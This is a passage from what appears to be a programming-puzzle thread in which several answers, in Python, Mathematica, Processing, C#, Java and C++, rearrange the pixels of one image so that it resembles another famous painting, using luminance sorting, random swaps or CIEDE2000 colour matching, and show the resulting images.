Lisa](https://www.youtube.com/watch?v=mAix1-GyMZQ) . [Answer] # Python Figured I'd take this little opportunity to take up code golf and use it as an excuse to work on my Python chops since it's been coming up more often at work these days. I ran through a couple of algorithms, including a few with O(n^2) and O(nlog(n)) time to try and optimize the colors, but it became very apparent that this was both computationally expensive and actually had very little effect on the apparent result. So below is a take I made on things that works in O(n) time (basically instantaneously on my system) that gets the most important visual element (luminance) as right as is reasonable and lets the chroma land where it may. ``` from PIL import Image def check(palette, copy): palette = sorted(palette.getdata()) copy = sorted(copy.getdata()) print "Master says it's good!" if copy == palette else "The master disapproves." def GetLuminance(pixel): # Extract the pixel channel data b, g, r = pixel # and used the standard luminance curve to get luminance. return .3*r+.59*g+.11*b print "Putting pixels on the palette..." # Open up the image and get all of the pixels out of it. (Memory intensive!) palette = Image.open("2.png").convert(mode="RGB") pixelsP = [] # Allocate the array width,height = palette.size # Unpack the image size for y in range(height): # Scan the lines for x in range(width): # within the line, scan the pixels curpixel = palette.getpixel((x,y)) # get the pixel pixelsP.append((GetLuminance(curpixel),curpixel)) # and add a (luminance, color) tuple to the array. # sort the pixels by the calculated luminescence pixelsP.sort() print "Getting the reference picture..." # Open up the image and get all of the pixels out of it. (Memory intensive!) source = Image.open("6.png").convert(mode="RGB") pixelsR = [] # Allocate the array width,height = source.size # Unpack the image size for y in range(height): # Scan the lines for x in range(width): # within the line, scan the pixels curpixel = source.getpixel((x,y)) # get the pixel pixelsR.append((GetLuminance(curpixel),(x,y))) # and add a (luminance, position) tuple # Sort the Reference pixels by luminance too pixelsR.sort() # Now for the neat observation. Luminance matters more to humans than chromanance, # given this then we want to match luminance as well as we can. However, we have # a finite luminance distribution to work with. Since we can't change that, it's best # just to line the two images up, sorted by luminance, and just simply assign the # luminance directly. The chrominance will be all kinds of whack, but fixing that # by way of loose sorting possible chrominance errors takes this algorithm from O(n) # to O(n^2), which just takes forever (trust me, I've tried it.) print "Painting reference with palette..." for p in range(len(pixelsP)): # For each pixel in the palette pl,pixel = pixelsP[p] # Grab the pixel from the palette l,cord = pixelsR[p] # Grab the location from the reference source.putpixel(cord,pixel) # and assign the pallet pixel to the refrence pixels place print "Applying fixative..." # save out the result. source.save("o.png","PNG") print "Handing it to the master to see if he approves..." check(palette, source) print "Done!" ``` The end result has some neat consequences. However, if the images have wildly different luminance distributions, there's not much that can be done without getting advanced and dithering, which might be an interesting thing to do at some point, but is excluded here as a matter of brevity. ## Everything -> Mona Lisa ![American Gothic -> Mona Lisa](https://i.stack.imgur.com/df9sc.png) ![Starry Night -> Mona Lisa](https://i.stack.imgur.com/aIIW8.png) ![Scream -> Mona Lisa](https://i.stack.imgur.com/ci3uD.png) ![River -> Mona Lisa](https://i.stack.imgur.com/hGjAZ.png) ![Spheres -> Mona Lisa](https://i.stack.imgur.com/tFyzb.png) ## Mona Lisa -> Spheres ![Mona Lisa -> Spheres](https://i.stack.imgur.com/UIAbA.png) [Answer] # Mathematica - random permutations ### Idea Select two pixels in the source image and check if the error to the destination image would decrease if theses two pixels would be swapped. We add a small random number (-d|+d) to the result to avoid local minima. Repeat. For speed do this with 10000 pixel at once. It is a bit like a Markov random chain. It would probably be good to decrease the randomness during the optimization process similar to simulated annealing. ### Code ``` colorSpace = "RGB"; \[Delta] = 0.05; ClearAll[loadImgur, imgToList, listToImg, improveN, err, rearrange, \ rearrangeImg] loadImgur[tag_] := RemoveAlphaChannel@ Import["https://i.stack.imgur.com/" <> tag <> ".png"] imgToList[img_] := Flatten[ImageData[ColorConvert[img, colorSpace]], 1] listToImg[u_, w_] := Image[Partition[u, w], ColorSpace -> colorSpace] err[{x_, y_, z_}] := x^2 + y^2 + z^2 improveN[a_, t_, n_] := Block[{i, j, ai, aj, ti, tj}, {i, j} = Partition[RandomSample[Range@Length@a, 2 n], n]; ai = a[[i]]; aj = a[[j]]; ti = t[[i]]; tj = t[[j]]; ReplacePart[ a, (#1 -> #3) & @@@ Select[Transpose[{i, err /@ (ai - ti) + err /@ (aj - tj) - err /@ (ai - tj) - err /@ (aj - ti) + RandomReal[\[Delta]^2 {-1, +1}, n], aj}], #[[2]] > 0 &]] ] rearrange[ua_, ub_, iterations_: 100] := Block[{tmp = ua}, Do[tmp = improveN[tmp, ub, Floor[.1 Length@ua]];, {i, iterations}]; tmp] rearrangeImg[a_, b_, iterations_: 100] := With[{imgdst = loadImgur[b]}, listToImg[rearrange[ RandomSample@imgToList@loadImgur[a], imgToList@imgdst, iterations], First@ImageDimensions@imgdst]] rearrangeImg["JXgho","itzIe"] ``` ### Results Gothic to Mona Lisa. Left: Using LAB color space (delta=0). Right: Using RBG color space (delta=0) ![img7](https://i.stack.imgur.com/Ki2U6.png) ![img8](https://i.stack.imgur.com/fBmSj.png) Gothic to Mona Lisa. Left: RGB color space, delta=0.05. Right: RGB color space, delta=0.15. ![img9](https://i.stack.imgur.com/l4OPG.png) ![img10](https://i.stack.imgur.com/u19DH.png) The following images show animations for around 3,500,000 swaps with RGB color space and delta=0. ![img1](https://i.imgur.com/OYkW5Es.gif) ![img2](https://i.imgur.com/pNLe9i6.gif) ![img3](https://i.imgur.com/QSWa9Dc.gif) ![img4](https://i.imgur.com/SQiYwXM.gif) ![img5](https://i.imgur.com/Ij4zG7G.gif) ![img6](https://i.imgur.com/m7lOm7L.gif) [Answer] # Processing The source and palette are shown side-by-side, and there is an animation of the pixels being taken from the palette; In the line `int i = chooseIndexIncremental();`, you can change the `chooseIndex*` functions to see the selection order of the pixels. ``` int scanRate = 20; // pixels per frame // image filenames String source = "N6IGO.png"; String palette = "JXgho.png"; PImage src, pal, res; int area; int[] lut; boolean[] processed; boolean[] taken; int count = 0; void start() { //size(800, 600); src = loadImage(source); pal = loadImage(palette); size(src.width + pal.width, max(src.height, pal.height)); src.loadPixels(); pal.loadPixels(); int areaSrc = src.pixels.length; int areaPal = pal.pixels.length; if (areaSrc != areaPal) { println("Areas mismatch: src: " + areaSrc + ", pal: " + areaPal); return; } area = areaSrc; println("Area: " + area); lut = new color[area]; taken = new boolean[area]; processed = new boolean[area]; randomSeed(1); } void draw() { background(0); image(src, 0, 0); image(pal, src.width, 0); for (int k = 0; k < scanRate; k ++) if (count < area) { // choose from chooseIndexRandom, chooseIndexSkip and chooseIndexIncremental int i = chooseIndexIncremental(); process(i); processed[i] = true; count ++; } } int chooseIndexRandom() { int i = 0; do i = (int) random(area); while (processed[i]); return i; } int chooseIndexSkip(int n) { int i = (n * count) % area; while (processed[i] || i >= area) i = (int) random(area); return i; } int chooseIndexIncremental() { return count; } void process(int i) { lut[i] = findPixel(src.pixels[i]); taken[lut[i]] = true; src.loadPixels(); src.pixels[i] = pal.pixels[lut[i]]; src.updatePixels(); pal.loadPixels(); pal.pixels[lut[i]] = color(0); pal.updatePixels(); stroke(src.pixels[i]); int sy = i / src.width; int sx = i % src.width; int j = lut[i]; int py = j / pal.width; int px = j % pal.width; line(sx, sy, src.width + px, py); } int findPixel(color c) { int best; do best = (int) random(area); while (taken[best]); float bestDist = colorDist(c, pal.pixels[best]); for (int k = 0; k < area; k ++) { if (taken[k]) continue; color c1 = pal.pixels[k]; float dist = colorDist(c, c1); if (dist < bestDist) { bestDist = dist; best = k; } } return best; } float colorDist(color c1, color c2) { return S(red(c1) - red(c2)) + S(green(c1) - green(c2)) + S(blue(c1) - blue(c2)); } float S(float x) { return x * x; } ``` ## American Gothic -> Mona Lisa, incremental ![incremental](https://i.stack.imgur.com/GBKCF.png) ## American Gothic -> Mona Lisa, random ![random](https://i.stack.imgur.com/r3xh5.png) [Answer] # C-Sharp No new/exciting ideas, but I thought I'd give it a try. Simply sorts the pixels, prioritizing brightness over saturation over hue. The code is reasonably short though, for what its worth. EDIT: Added an even shorter version ``` using System; using System.Drawing; using System.Collections.Generic; class Program { static void Main(string[] args) { Bitmap sourceImg = new Bitmap("TheScream.png"), arrangImg = new Bitmap("StarryNight.png"), destImg = new Bitmap(arrangImg.Width, arrangImg.Height); List<Pix> sourcePixels = new List<Pix>(), arrangPixels = new List<Pix>(); for (int i = 0; i < sourceImg.Width; i++) for (int j = 0; j < sourceImg.Height; j++) sourcePixels.Add(new Pix(sourceImg.GetPixel(i, j), i, j)); for (int i = 0; i < arrangImg.Width; i++) for (int j = 0; j < arrangImg.Height; j++) arrangPixels.Add(new Pix(arrangImg.GetPixel(i, j), i, j)); sourcePixels.Sort(); arrangPixels.Sort(); for (int i = 0; i < arrangPixels.Count; i++) destImg.SetPixel(arrangPixels[i].x, arrangPixels[i].y, sourcePixels[i].col); destImg.Save("output.png"); } } class Pix : IComparable<Pix> { public Color col; public int x, y; public Pix(Color col, int x, int y) { this.col = col; this.x = x; this.y = y; } public int CompareTo(Pix other) { return(int)(255 * 255 * 255 * (col.GetBrightness() - other.col.GetBrightness()) + (255 * (col.GetHue() - other.col.GetHue())) + (255 * 255 * (col.GetSaturation() - other.col.GetSaturation()))); } } ``` Sample: ![enter image description here](https://i.stack.imgur.com/X2Sfd.png) # + ![enter image description here](https://i.stack.imgur.com/7M5gs.png) # = ![enter image description here](https://i.stack.imgur.com/3e2RH.png) [Answer] # Java ``` import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import java.util.ArrayList; import java.util.Collections; import java.util.Iterator; import java.util.List; import javax.imageio.ImageIO; /** * * @author Quincunx */ public class PixelRearrangerMK2 { public static void main(String[] args) throws IOException { BufferedImage source = ImageIO.read(resource("Raytraced Spheres.png")); BufferedImage palette = ImageIO.read(resource("American Gothic.png")); BufferedImage result = rearrange(source, palette); ImageIO.write(result, "png", resource("result.png")); validate(palette, result); } public static BufferedImage rearrange(BufferedImage source, BufferedImage palette) { List<Color> sColors = Color.getColors(source); List<Color> pColors = Color.getColors(palette); Collections.sort(sColors); Collections.sort(pColors); BufferedImage result = new BufferedImage(source.getWidth(), source.getHeight(), BufferedImage.TYPE_INT_RGB); Iterator<Color> sIter = sColors.iterator(); Iterator<Color> pIter = pColors.iterator(); while (sIter.hasNext()) { Color s = sIter.next(); Color p = pIter.next(); result.setRGB(s.x, s.y, p.rgb); } return result; } public static class Color implements Comparable { int x, y; int rgb; double hue; private int r, g, b; public Color(int x, int y, int rgb) { this.x = x; this.y = y; this.rgb = rgb; r = (rgb & 0xFF0000) >> 16; g = (rgb & 0x00FF00) >> 8; b = rgb & 0x0000FF; hue = Math.atan2(Math.sqrt(3) * (g - b), 2 * r - g - b); } @Override public int compareTo(Object o) { Color c = (Color) o; return hue < c.hue ? -1 : hue == c.hue ? 0 : 1; } public static List<Color> getColors(BufferedImage img) { List<Color> result = new ArrayList<>(); for (int y = 0; y < img.getHeight(); y++) { for (int x = 0; x < img.getWidth(); x++) { result.add(new Color(x, y, img.getRGB(x, y))); } } return result; } } //Validation and util methods follow public static void validate(BufferedImage palette, BufferedImage result) { List<Integer> paletteColors = getColorsAsInt(palette); List<Integer> resultColors = getColorsAsInt(result); Collections.sort(paletteColors); Collections.sort(resultColors); System.out.println(paletteColors.equals(resultColors)); } public static List<Integer> getColorsAsInt(BufferedImage img) { int width = img.getWidth(); int height = img.getHeight(); List<Integer> colors = new ArrayList<>(width * height); for (int x = 0; x < width; x++) { for (int y = 0; y < height; y++) { colors.add(img.getRGB(x, y)); } } Collections.sort(colors); return colors; } public static File resource(String fileName) { return new File(System.getProperty("user.dir") + "/Resources/" + fileName); } } ``` Here's a completely different idea. I create a list of the colors of each image, then I sort according to hue, which is computed by wikipedia's formula: ![enter image description here](https://i.stack.imgur.com/T6W1g.png) Unlike my other answer, this is extremely fast. It takes about 2 seconds, including the validation. The result is some abstract art. Here are some images (mouseover to see to/from): ![enter image description here](https://i.stack.imgur.com/5g8Fa.png "Mona Lisa -> American Gothic") ![enter image description here](https://i.stack.imgur.com/nYmCj.png "Mona Lisa -> River") ![enter image description here](https://i.stack.imgur.com/jnRoG.png "Mona Lisa -> Raytraced Spheres") ![enter image description here](https://i.stack.imgur.com/HffdP.png "American Gothic -> Mona Lisa") ![enter image description here](https://i.stack.imgur.com/gzOvf.png "Scream -> Mona Lisa") ![enter image description here](https://i.stack.imgur.com/hEFyz.png "Starry Night -> Mona Lisa") ![enter image description here](https://i.stack.imgur.com/dNycp.png "Scream -> Starry Night") [Answer] # Python Well, I decided I might as well post my solution, since I spent the time to do it. Essentially, what I figured I would do is get the raw pixel data of the images, sort the the data by brightness, and then put the values of the same index into a new image. I changed my mind about the brightness, and used luminance instead. I got some pretty good results with this. ``` from PIL import Image from optparse import OptionParser def key_func(arr): # Sort the pixels by luminance r = 0.2126*arr[0] + 0.7152*arr[1] + 0.0722*arr[2] return r def main(): # Parse options from the command line parser = OptionParser() parser.add_option("-p", "--pixels", dest="pixels", help="use pixels from FILE", metavar="FILE") parser.add_option("-i", "--input", dest="input", metavar="FILE", help="recreate FILE") parser.add_option("-o", "--out", dest="output", metavar="FILE", help="output to FILE", default="output.png") (options, args) = parser.parse_args() if not options.pixels or not options.input: raise Exception("Missing arguments. See help for more info.") # Load the images im1 = Image.open(options.pixels) im2 = Image.open(options.input) # Get the images into lists px1 = list(im1.getdata()) px2 = list(im2.getdata()) w1, h1 = im1.size w2, h2 = im2.size if w1*h1 != w2*h2: raise Exception("Images must have the same number of pixels.") # Sort the pixels lists by luminance px1_s = sorted(px1, key=key_func) px2_s = sorted(px2, key=key_func) # Create an array of nothing but black pixels arr = [(0, 0, 0)]*w2*h2 # Create a dict that contains a list of locations with pixel value as key # This speeds up the process a lot, since before it was O(n^2) locations_cache = {} for index, val in enumerate(px2): v = str(val) if v in locations_cache: locations_cache[v].append(index) else: locations_cache[v] = [index] # Loop through each value of the sorted pixels for index, val in enumerate(px2_s): # Find the original location of the pixel # v = px2.index(val) v = locations_cache[str(val)].pop(0) # Set the value of the array at the given location to the pixel of the # equivalent luminance from the source image arr[v] = px1_s[index] # v2 = px1.index(px1_s[index]) # Set the value of px2 to an arbitrary value outside of the RGB range # This prevents duplicate pixel locations # I would use "del px2[v]", but it wouldn't work for some reason px2[v] = (512, 512, 512) # px1[v2] = (512, 512, 512) # Print the percent progress print("%f%%" % (index/len(px2)*100)) """if index % 500 == 0 or index == len(px2_s)-1: if h1 > h2: size = (w1+w2, h1) else: size = (w1+w2, h2) temp_im1 = Image.new("RGB", im2.size) temp_im1.putdata(arr) temp_im2 = Image.new("RGB", im1.size) temp_im2.putdata(px1) temp_im3 = Image.new("RGB", size) temp_im3.paste(temp_im1, (0, 0)) temp_im3.paste(temp_im2, (w2, 0)) temp_im3.save("still_frames/img_%04d.png" % (index/500))""" # Save the image im3 = Image.new('RGB', im2.size) im3.putdata(arr) im3.save(options.output) if __name__ == '__main__': main() ``` ## Results I was pretty happy with the results. It seemed to work consistently for all of the images I put through it. ### Starry Night with Scream Pixels ![Scream+Starry Night](https://i.stack.imgur.com/X6hKD.png) ### Starry Night with Rainbow Pixels ![Rainbow+Starry Night](https://i.stack.imgur.com/ggS2n.png) ### Rainbow with Starry Night Pixels ![Starry Night+Rainbow](https://i.stack.imgur.com/ZCNA5.png) ### Mona Lisa with Scream Pixels ![Scream+Mona Lisa](https://i.stack.imgur.com/B5WJp.png) ### River with Starry Night Pixels ![Starry Night+River](https://i.stack.imgur.com/1Q1Lk.png) ### Mona Lisa with American Gothic Pixels ![Gothic+Mona Lisa](https://i.stack.imgur.com/w7skd.png) ### Mustang with Chevy Pixels I should probably have scaled the images down given my hardware constraints, but oh well. ![Chevy+Mustang](https://i.stack.imgur.com/DWEFS.png) ### Chevy with Mustang Pixels ![Mustang+Chevy](https://i.stack.imgur.com/D0aVt.png) ### River with Rainbow Pixels ![Rainbow+River](https://i.stack.imgur.com/2QMK4.png) ### Mona Lisa with Rainbow Pixels ![Rainbow+Mona Lisa](https://i.stack.imgur.com/L2JFy.png) ### American Gothic with Rainbow Pixels ![Rainbow+Gothic](https://i.stack.imgur.com/nVH8z.png) --- **Update** I've added a few more pictures, and here are a couple of animations. The first shows how my method worked, and the second is using the script @Calvin'sHobbies posted. ![My method](https://i.stack.imgur.com/Zp9zH.gif) ![@Calvin'sHobbies script](https://i.stack.imgur.com/gUzsW.gif) --- **Update 2** I added a dict storing the indices of pixels by their color. This made the script way more efficient. To see the original, check the revision history. [Answer] # C++11 In the end, I settled on a relatively simple deterministic greedy algorithm. This is single threaded, but runs in a hair over 4 seconds on my machine. The basic algorithm works by sorting all the pixels in both the palette and the target image by decreasing luminance (the L of [L*a*b\*](http://en.wikipedia.org/wiki/L*a*b*)). Then, for each of those ordered target pixels it searches for the closest match in the first 75 entries of the palette, using the square of the [CIEDE2000](http://en.wikipedia.org/wiki/Color_difference#CIEDE2000) distance metric with the luminance of the palette colors clamped to that of the target. (For implementation and debugging of CIEDE2000, [this page](http://www.ece.rochester.edu/~gsharma/ciede2000/) was very helpful). The best match is then removed from the palette, assigned to the result and the algorithm goes on to the next lightest pixel in the target image. By using sorted luminance for both the target and the palette, we ensure that the overall luminance (the most visually salient element) of the result matches the target as closely as possible. Using a small window of 75 entries gives it a good shot at finding a matching color of about the right brightness, if there is one. If there isn't one, then the color will be off, but at least the brightness should be consistent. As a result, it degrades fairly gracefully when the palette colors don't match well. ## Code To compile this you will need the ImageMagick++ development libraries. A small CMake file to compile it is also included below. ### palette.cpp ``` #include <Magick++.h> #include <algorithm> #include <functional> #include <utility> #include <set> using namespace std; using namespace Magick; struct Lab { PixelPacket rgb; float L, a, b; explicit Lab( PixelPacket rgb ) : rgb( rgb ) { auto R_srgb = static_cast< float >( rgb.red ) / QuantumRange; auto G_srgb = static_cast< float >( rgb.green ) / QuantumRange; auto B_srgb = static_cast< float >( rgb.blue ) / QuantumRange; auto R_lin = R_srgb < 0.04045f ? R_srgb / 12.92f : powf( ( R_srgb + 0.055f ) / 1.055f, 2.4f ); auto G_lin = G_srgb < 0.04045f ? G_srgb / 12.92f : powf( ( G_srgb + 0.055f ) / 1.055f, 2.4f ); auto B_lin = B_srgb < 0.04045f ? B_srgb / 12.92f : powf( ( B_srgb + 0.055f ) / 1.055f, 2.4f ); auto X = 0.4124f * R_lin + 0.3576f * G_lin + 0.1805f * B_lin; auto Y = 0.2126f * R_lin + 0.7152f * G_lin + 0.0722f * B_lin; auto Z = 0.0193f * R_lin + 0.1192f * G_lin + 0.9502f * B_lin; auto X_norm = X / 0.9505f; auto Y_norm = Y / 1.0000f; auto Z_norm = Z / 1.0890f; auto fX = ( X_norm > 216.0f / 24389.0f ? powf( X_norm, 1.0f / 3.0f ) : X_norm * ( 841.0f / 108.0f ) + 4.0f / 29.0f ); auto fY = ( Y_norm > 216.0f / 24389.0f ? powf( Y_norm, 1.0f / 3.0f ) : Y_norm * ( 841.0f / 108.0f ) + 4.0f / 29.0f ); auto fZ = ( Z_norm > 216.0f / 24389.0f ? powf( Z_norm, 1.0f / 3.0f ) : Z_norm * ( 841.0f / 108.0f ) + 4.0f / 29.0f ); L = 116.0f * fY - 16.0f; a = 500.0f * ( fX - fY ); b = 200.0f * ( fY - fZ ); } bool operator<( Lab const that ) const { return ( L > that.L ? true : L < that.L ? false : a > that.a ? true : a < that.a ? false : b > that.b ); } Lab clampL( Lab const that ) const { auto result = Lab( *this ); if ( result.L > that.L ) result.L = that.L; return result; } float cieDe2000( Lab const that, float const k_L = 1.0f, float const k_C = 1.0f, float const k_H = 1.0f ) const { auto square = []( float value ){ return value * value; }; auto degs = []( float rad ){ return rad * 180.0f / 3.14159265359f; }; auto rads = []( float deg ){ return deg * 3.14159265359f / 180.0f; }; auto C_1 = hypot( a, b ); auto C_2 = hypot( that.a, that.b ); auto C_bar = ( C_1 + C_2 ) * 0.5f; auto C_bar_7th = square( square( C_bar ) ) * square( C_bar ) * C_bar; auto G = 0.5f * ( 1.0f - sqrtf( C_bar_7th / ( C_bar_7th + 610351562.0f ) ) ); auto a_1_prime = ( 1.0f + G ) * a; auto a_2_prime = ( 1.0f + G ) * that.a; auto C_1_prime = hypot( a_1_prime, b ); auto C_2_prime = hypot( a_2_prime, that.b ); auto h_1_prime = C_1_prime == 0.0f ? 0.0f : degs( atan2f( b, a_1_prime ) ); if ( h_1_prime < 0.0f ) h_1_prime += 360.0f; auto h_2_prime = C_2_prime == 0.0f ? 0.0f : degs( atan2f( that.b, a_2_prime ) ); if ( h_2_prime < 0.0f ) h_2_prime += 360.0f; auto delta_L_prime = that.L - L; auto delta_C_prime = C_2_prime - C_1_prime; auto delta_h_prime = C_1_prime * C_2_prime == 0.0f ? 0 : fabs( h_2_prime - h_1_prime ) <= 180.0f ? h_2_prime - h_1_prime : h_2_prime - h_1_prime > 180.0f ? h_2_prime - h_1_prime - 360.0f : h_2_prime - h_1_prime + 360.0f; auto delta_H_prime = 2.0f * sqrtf( C_1_prime * C_2_prime ) * sinf( rads( delta_h_prime * 0.5f ) ); auto L_bar_prime = ( L + that.L ) * 0.5f; auto C_bar_prime = ( C_1_prime + C_2_prime ) * 0.5f; auto h_bar_prime = C_1_prime * C_2_prime == 0.0f ? h_1_prime + h_2_prime : fabs( h_1_prime - h_2_prime ) <= 180.0f ? ( h_1_prime + h_2_prime ) * 0.5f : h_1_prime + h_2_prime < 360.0f ? ( h_1_prime + h_2_prime + 360.0f ) * 0.5f : ( h_1_prime + h_2_prime - 360.0f ) * 0.5f; auto T = ( 1.0f - 0.17f * cosf( rads( h_bar_prime - 30.0f ) ) + 0.24f * cosf( rads( 2.0f * h_bar_prime ) ) + 0.32f * cosf( rads( 3.0f * h_bar_prime + 6.0f ) ) - 0.20f * cosf( rads( 4.0f * h_bar_prime - 63.0f ) ) ); auto delta_theta = 30.0f * expf( -square( ( h_bar_prime - 275.0f ) / 25.0f ) ); auto C_bar_prime_7th = square( square( C_bar_prime ) ) * square( C_bar_prime ) * C_bar_prime; auto R_C = 2.0f * sqrtf( C_bar_prime_7th / ( C_bar_prime_7th + 610351562.0f ) ); auto S_L = 1.0f + ( 0.015f * square( L_bar_prime - 50.0f ) / sqrtf( 20.0f + square( L_bar_prime - 50.0f ) ) ); auto S_C = 1.0f + 0.045f * C_bar_prime; auto S_H = 1.0f + 0.015f * C_bar_prime * T; auto R_T = -sinf( rads( 2.0f * delta_theta ) ) * R_C; return ( square( delta_L_prime / ( k_L * S_L ) ) + square( delta_C_prime / ( k_C * S_C ) ) + square( delta_H_prime / ( k_H * S_H ) ) + R_T * delta_C_prime * delta_H_prime / ( k_C * S_C * k_H * S_H ) ); } }; Image read_image( char * const filename ) { auto result = Image( filename ); result.type( TrueColorType ); result.matte( true ); result.backgroundColor( Color( 0, 0, 0, QuantumRange ) ); return result; } template< typename T > multiset< T > map_image( Image const &image, function< T( unsigned, PixelPacket ) > const transform ) { auto width = image.size().width(); auto height = image.size().height(); auto result = multiset< T >(); auto pixels = image.getConstPixels( 0, 0, width, height ); for ( auto index = 0; index < width * height; ++index, ++pixels ) result.emplace( transform( index, *pixels ) ); return result; } int main( int argc, char **argv ) { auto palette = map_image( read_image( argv[ 1 ] ), function< Lab( unsigned, PixelPacket ) >( []( unsigned index, PixelPacket rgb ) { return Lab( rgb ); } ) ); auto target_image = read_image( argv[ 2 ] ); auto target_colors = map_image( target_image, function< pair< Lab, unsigned >( unsigned, PixelPacket ) >( []( unsigned index, PixelPacket rgb ) { return make_pair( Lab( rgb ), index ); } ) ); auto pixels = target_image.setPixels( 0, 0, target_image.size().width(), target_image.size().height() ); for ( auto &&target : target_colors ) { auto best_color = palette.begin(); auto best_difference = 1.0e38f; auto count = 0; for ( auto candidate = palette.begin(); candidate != palette.end() && count < 75; ++candidate, ++count ) { auto difference = target.first.cieDe2000( candidate->clampL( target.first ) ); if ( difference < best_difference ) { best_color = candidate; best_difference = difference; } } pixels[ target.second ] = best_color->rgb; palette.erase( best_color ); } target_image.syncPixels(); target_image.write( argv[ 3 ] ); return 0; } ``` ### CMakeList.txt ``` cmake_minimum_required( VERSION 2.8.11 ) project( palette ) add_executable( palette palette.cpp) find_package( ImageMagick COMPONENTS Magick++ ) if( ImageMagick_FOUND ) include_directories( ${ImageMagick_INCLUDE_DIRS} ) target_link_libraries( palette ${ImageMagick_LIBRARIES} ) endif( ImageMagick_FOUND ) ``` ## Result The full album is [here.](https://i.stack.imgur.com/20lrd.jpg) Of the results below, my favorites are probably American Gothic with the Mona Lisa palette, and Starry Night with the Spheres palette. ### American Gothic Palette ![](https://i.stack.imgur.com/57pzd.png) ![](https://i.stack.imgur.com/hOj1D.png) ![](https://i.stack.imgur.com/2Y5ER.png) ![](https://i.stack.imgur.com/IgM0n.png) ![](https://i.stack.imgur.com/bkKpD.png) ### Mona Lisa Palette ![](https://i.stack.imgur.com/7gPHl.png) ![](https://i.stack.imgur.com/4308A.png) ![](https://i.stack.imgur.com/CZ2JG.png) ![](https://i.stack.imgur.com/MESnf.png) ![](https://i.stack.imgur.com/FhJnz.png) ### River Palette ![](https://i.stack.imgur.com/MmQ1C.png) ![](https://i.stack.imgur.com/NOFCO.png) ![](https://i.stack.imgur.com/8jqCR.png) ![](https://i.stack.imgur.com/S9bsr.png) ![](https://i.stack.imgur.com/Dn8C7.png) ### The Scream Palette ![](https://i.stack.imgur.com/B0qgT.png) ![](https://i.stack.imgur.com/tWqrx.png) ![](https://i.stack.imgur.com/AJzqi.png) ![](https://i.stack.imgur.com/ozc9L.png) ![](https://i.stack.imgur.com/uO4hh.png) ### Spheres Palette ![](https://i.stack.imgur.com/HecPy.png) ![](https://i.stack.imgur.com/rbefd.png) ![](https://i.stack.imgur.com/e7FaK.png) ![](https://i.stack.imgur.com/VKToz.png) ![](https://i.stack.imgur.com/76ewR.png) ### Starry Night Palette ![](https://i.stack.imgur.com/kAfJl.png) ![](https://i.stack.imgur.com/RTzWF.png) ![](https://i.stack.imgur.com/g1DzC.png) ![](https://i.stack.imgur.com/Eczh8.png) ![](https://i.stack.imgur.com/CgX5X.png) [Answer] ## C++ Not the shortest code, but generates the answer 'instantly' despite being single-threaded and un-optimized. I am pleased with the results. I generate two sorted lists of pixels, one for each image, and the sorting is based on a weighted value of 'brightness'. I use 100% green, 50% red and 10% blue to calculate the brightness, weighting it for the human eye (more or less). I then swap pixels in the source image for their same indexed pixel in the palette image, and write out the destination image. I use the FreeImage library to read/write the image files. ## Code ``` /* Inputs: 2 image files of same area Outputs: image1 made from pixels of image2*/ #include <iostream> #include <stdlib.h> #include "FreeImage.h" #include <vector> #include <algorithm> class pixel { public: int x, y; BYTE r, g, b; float val; //color value; weighted 'brightness' }; bool sortByColorVal(const pixel &lhs, const pixel &rhs) { return lhs.val > rhs.val; } FIBITMAP* GenericLoader(const char* lpszPathName, int flag) { FREE_IMAGE_FORMAT fif = FIF_UNKNOWN; // check the file signature and deduce its format // (the second argument is currently not used by FreeImage) fif = FreeImage_GetFileType(lpszPathName, 0); if (fif == FIF_UNKNOWN) { // no signature ? // try to guess the file format from the file extension fif = FreeImage_GetFIFFromFilename(lpszPathName); } // check that the plugin has reading capabilities ... if ((fif != FIF_UNKNOWN) && FreeImage_FIFSupportsReading(fif)) { // ok, let's load the file FIBITMAP *dib = FreeImage_Load(fif, lpszPathName, flag); // unless a bad file format, we are done ! return dib; } return NULL; } bool GenericWriter(FIBITMAP* dib, const char* lpszPathName, int flag) { FREE_IMAGE_FORMAT fif = FIF_UNKNOWN; BOOL bSuccess = FALSE; if (dib) { // try to guess the file format from the file extension fif = FreeImage_GetFIFFromFilename(lpszPathName); if (fif != FIF_UNKNOWN) { // check that the plugin has sufficient writing and export capabilities ... WORD bpp = FreeImage_GetBPP(dib); if (FreeImage_FIFSupportsWriting(fif) && FreeImage_FIFSupportsExportBPP(fif, bpp)) { // ok, we can save the file bSuccess = FreeImage_Save(fif, dib, lpszPathName, flag); // unless an abnormal bug, we are done ! } } } return (bSuccess == TRUE) ? true : false; } void FreeImageErrorHandler(FREE_IMAGE_FORMAT fif, const char *message) { std::cout << std::endl << "*** "; if (fif != FIF_UNKNOWN) { std::cout << "ERROR: " << FreeImage_GetFormatFromFIF(fif) << " Format" << std::endl; } std::cout << message; std::cout << " ***" << std::endl; } FIBITMAP* Convert24BPP(FIBITMAP* dib) { if (FreeImage_GetBPP(dib) == 24) return dib; FIBITMAP *dib2 = FreeImage_ConvertTo24Bits(dib); FreeImage_Unload(dib); return dib2; } // ---------------------------------------------------------- int main(int argc, char **argv) { // call this ONLY when linking with FreeImage as a static library #ifdef FREEIMAGE_LIB FreeImage_Initialise(); #endif FIBITMAP *src = NULL, *pal = NULL; int result = EXIT_FAILURE; // initialize my own FreeImage error handler FreeImage_SetOutputMessage(FreeImageErrorHandler); // print version std::cout << "FreeImage version : " << FreeImage_GetVersion() << std::endl; if (argc != 4) { std::cout << "USAGE : Pic2Pic <source image> <palette image> <output file name>" << std::endl; return EXIT_FAILURE; } // Load the src image src = GenericLoader(argv[1], 0); if (src) { // load the palette image pal = GenericLoader(argv[2], 0); if (pal) { //compare areas // if(!samearea) return EXIT_FAILURE; unsigned int width_src = FreeImage_GetWidth(src); unsigned int height_src = FreeImage_GetHeight(src); unsigned int width_pal = FreeImage_GetWidth(pal); unsigned int height_pal = FreeImage_GetHeight(pal); if (width_src * height_src != width_pal * height_pal) { std::cout << "ERROR: source and palette images do not have the same pixel area." << std::endl; result = EXIT_FAILURE; } else { //go to work! //first make sure everything is 24 bit: src = Convert24BPP(src); pal = Convert24BPP(pal); //retrieve the image data BYTE *bits_src = FreeImage_GetBits(src); BYTE *bits_pal = FreeImage_GetBits(pal); //make destination image FIBITMAP *dst = FreeImage_ConvertTo24Bits(src); BYTE *bits_dst = FreeImage_GetBits(dst); //make a vector of all the src pixels that we can sort by color value std::vector<pixel> src_pixels; for (unsigned int y = 0; y < height_src; ++y) { for (unsigned int x = 0; x < width_src; ++x) { pixel p; p.x = x; p.y = y; p.b = bits_src[y*width_src * 3 + x * 3]; p.g = 